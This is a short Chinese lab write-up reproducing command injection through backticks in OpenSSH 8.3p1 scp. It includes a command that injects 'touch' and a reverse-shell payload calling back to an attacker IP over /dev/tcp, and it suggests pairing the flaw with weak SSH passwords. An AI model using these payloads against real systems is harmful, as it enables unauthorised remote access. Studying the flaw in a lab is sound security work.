简述
OpenSSH 8.3p1及以前版本中的scp容许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令。目前绝大多数linux系统受影响。
0x01 漏洞原理
当执行本地scp命令时,scp不会检查、过滤和清除文件名。这使得攻击者执行带有反引号的有效scp命令时,本地shell还将执行反引号中的命令。
0x02 影响版本
OpenSSH <= 8.3p1
需要知道ssh密码(真实环境中可以配合ssh弱口令使用)
0x03 漏洞复现
1.环境启动
环境效果:禁用了ssh连接,但可以使用scp
攻击机1:centos7.6 192.168.80.110
攻击机2:kali 192.168.80.102
靶机:ubuntu20 192.168.80.135
2.漏洞测试
查看靶机ssh版本
Centos7上创建123.txt
利用SCP复制123.txt到/tmp目录下
利用scp创建test.txt空文件在/tmp目录下
scp 123.txt root@192.168.80.132:'`touch /tmp/test.txt` /tmp'
如果漏洞存在那我们就把123.txt从kali传到了ubuntu,并在ubuntu创建了一个test.txt的文件
操作成功,漏洞存在
3.反弹shell
scp test.txt root@192.168.80.135:'`bash -i >& /dev/tcp/192.168.80.102/4444 0>&1`/tmp/test123.txt'
成功反弹shell
总结
此漏洞虽然利用很简单,但局限性很大,需要ssh的密码,在测试过程中通常可以配合ssh弱口令一起使用,或者在得知ssh密码的情况下进行使用,这样就可进行反弹shell获取权限了。